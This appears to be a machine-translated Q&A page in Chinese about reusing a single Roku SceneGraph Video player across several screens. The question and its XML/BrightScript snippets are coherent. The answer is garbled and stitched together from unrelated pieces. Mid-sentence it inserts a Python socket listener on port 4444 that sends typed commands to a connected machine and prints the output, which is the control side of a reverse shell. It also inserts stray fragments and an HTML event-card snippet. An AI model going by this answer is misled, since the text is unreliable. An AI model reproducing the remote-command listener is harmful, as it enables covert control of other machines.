我需要从扩展组的两个或三个不同的屏幕(即指南,功能)访问视频播放器。最初,我想到了在所有xml文件中声明Video并按以下方式在相应的brs文件中对其进行访问
.xml
<Video id="VideoPlayer" visible="false" translation="[0, 0]" width="1920" height="1080" />
.brs
m.video = m.top.findNode("VideoPlayer")
这很好。但是后来我意识到我不必要创建多个视频播放器实例。我打算在一个地方创建并在打算使用播放器的所有屏幕中使用它。但是我无法理解如何创建播放器。任何人都可以让我知道我是否需要为视频创建一个屏幕文件(.xml),如下所述
<?xml version="1.0" encoding="UTF-8"?>
<component name="VideoPlayer" extends="Group">
<children>
<Video id="VideoPlayer" visible="false" translation="[0, 0]" width="1920" height="1080" />
</children>
<script type="text/brightscript" uri="pkg://components/Player/VideoPlayer.brs"/>
</component>
任何人都可以让我知道这是否正确的方法。
答案 0 :(得分:2)
有多种方法可以做到这一点。也许最简单的方法是在全球范围内创建播放器并从任何地方访问它。
b'""'
然后在屏幕上可以使用import socket ,json
listner=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listner.bind(("10.0.2.15", 4444))
listner.listen(0)
print("watin for incomin connictions")
connection, address = listner.accept()
print("connected with "+str(address))
while True:
command=raw_input(">> ")
if command=="":
continue
connection.send(json.dumps(command))
result=b''
while True:
try:
result=result+connection.recv(1024)
except ValueError:
continue
print(json.loads(result))
connection.close()`
您还可以通过将字段定义添加到每个组件以引用播放器,来将其创建为组件并将其传递到子组件(屏幕)。在每个组件的接口定义中:
foreach
然后,在创建屏幕时,从上方将玩家字段设置为您的一个玩家实例。然后,您可以在屏幕上使用<div class="single-event">
<img src="example.jpg">
<div class="event-details">
<div class="event-type">In-Person</div>
<h3>Header</h3>
<p>The excerpt/description pulled from the feed</p>
<a href="#feed-url">»</a>
</div><!-- end .event-details -->
</div><!-- end .single-event -->